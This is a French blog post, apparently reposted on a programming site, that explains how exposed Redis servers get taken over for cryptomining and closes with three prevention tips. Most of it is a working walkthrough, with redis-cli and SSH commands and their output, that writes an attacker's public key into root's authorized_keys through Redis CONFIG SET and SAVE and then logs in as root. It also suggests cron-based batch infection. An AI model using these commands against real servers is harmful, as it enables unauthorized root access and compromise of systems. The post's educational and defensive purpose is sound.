Maison >base de données >Redis >Une brève analyse des principes du minage Redis et comment l'empêcher (partage de compétences)

Une brève analyse des principes du minage Redis et comment l'empêcher (partage de compétences)

青灯夜游
青灯夜游avant
2022-01-11 18:49:461846parcourir

Cet article parlera des principes du minage Redis, verra comment l'empêcher et partagera des techniques de prévention. J'espère qu'il sera utile à tout le monde !

Une brève analyse des principes du minage Redis et comment l'empêcher (partage de compétences)

L'auteur a également été attaqué par un virus minier, ce qui était très inconfortable, mais en fait, tant que vous comprenez les moyens d'intrusion, il est très facile de l'empêcher. Aujourd'hui, nous allons vous montrer comment l'obtenir. l'utilisateur root du serveur distant en élevant les privilèges via Redis. [Recommandations associées : Tutoriel vidéo Redis]

1. Nous avons d'abord besoin de quelques prérequis

  • Condition 1 : Vous devez d'abord avoir un Redis, et nous devons connaître son port [par défaut 6379] ;

    Condition 2 : Le mot de passe pour Redis ne peut pas être trop complexe, ou il n'y a pas de mot de passe
  • Condition 3 : L'utilisateur qui démarre Redis est de préférence un utilisateur Root, ce qui est plus destructeur
  • 2. causer des problèmes

2.1 Créez une paire de clés secrètes
  • Générez une paire via ssh-keygen Bien sûr, vous pouvez utiliser celles que vous avez déjà sans aucun problème.
  • root@kali:/usr/local/src# ssh-keygen 
    Generating public/private rsa key pair.
    Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa
Ensuite, la valeur de la clé d'attaque est générée via la clé publique

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt

Le contenu est le suivant

root@kali:/tmp/rediskey# cat foo.txt 

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali

Le but de l'ajout de deux nouvelles lignes avant et après ici est d'empêcher les données d'être connectées ensemble et de provoquer des problèmes d'échec.

2.2 Configurer la clé de Redis
  • L'opération est la suivante :
  • root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar
    OK
Connectez-vous à Redis pour vérifier si elle a été écrite dans Redis.

root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129
192.168.243.129:6379> get bar
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"

2.3 Remplacer les fichiers système via le mécanisme de sauvegarde Redis
  • Voyons les opérations suivantes
  • 192.168.243.129:6379> config set dir /root/.ssh
    OK
    192.168.243.129:6379> config get dir
    1) "dir"
    2) "/root/.ssh"
    192.168.243.129:6379> config set dbfilename "authorized_keys"
    OK
    192.168.243.129:6379> save
    OK
    192.168.243.129:6379> exit
À ce stade, nous nous connectons à l'hôte distant pour voir l'effet.

root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129
The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established.
ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts.
Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64

Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1
root@kali:~# w

OK, nous avons maintenant réussi à élever les droits, alors jetons un coup d'œil à ce qu'est le fichier exporté ? En fait, il s'agit simplement du fichier enregistré de Redis. Si vous êtes intéressé, vous pouvez l'ouvrir vous-même et le voir.

3. Comment prévenir

Cette vulnérabilité est assez puissante. Nous n'avons désormais qu'une seule autorisation d'hôte. Que diriez-vous de l'ajouter à une tâche planifiée pour exécuter certains scripts, puis de l'infecter par lots ?

Les conseils de prévention sont les suivants :

Redis ne doit pas écouter les adresses IP dangereuses. Si tel est le cas, veuillez ajouter un contrôle de pare-feu ;
  • Redis doit augmenter les restrictions de mot de passe, et il ne peut pas s'agir d'un mot de passe faible ;
  • Redis devrait essayer de ne pas démarrer en tant qu'utilisateur root.

  • Suivez les trois points ci-dessus pour empêcher le minage Redis, pas de problème

    Pour plus de connaissances sur la programmation, veuillez visiter :
  • Introduction à la programmation
 ! !

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer